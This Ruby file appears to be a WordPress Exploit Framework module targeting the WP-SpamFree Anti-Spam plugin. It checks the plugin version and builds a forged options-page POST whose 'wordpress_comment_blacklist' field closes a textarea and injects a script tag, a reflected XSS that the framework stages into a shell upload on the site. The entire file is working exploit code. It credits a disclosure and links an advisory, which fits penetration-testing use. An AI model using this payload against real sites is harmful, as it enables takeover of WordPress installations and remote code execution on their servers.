# frozen_string_literal: true

class Wpxf::Exploit::SpamfreeReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'WP-SpamFree Anti-Spam Reflected XSS Shell Upload',
      author: [
        'Radjnies Bhansingh', # Disclosure
        'rastating'           # WPXF module
      ],
      references: [
        ['WPVDB', '8752'],
        ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_wp_spamfree_anti_spam_wordpress_plugin.html']
      ],
      date: 'Mar 02 2017'
    )
  end

  def check
    check_plugin_version_from_readme('wp-spamfree')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'options-general.php?page=wp-spamfree%2Fwp-spamfree.php')
  end

  def initial_script
    create_basic_post_script(
      vulnerable_url,
      'submitted_wpsf_general_options' => '1',
      'use_alt_cookie_method' => 'on',
      'comment_logging_all' => 'on',
      'enhanced_comment_blacklist' => 'on',
      'wordpress_comment_blacklist' => "</textarea><script>#{xss_ascii_encoded_include_script}<\\/script>",
      'allow_proxy_users' => 'on',
      'promote_plugin_link' => 'on',
      'submit_wpsf_general_options' => 'Update Options'
    )
  end
end
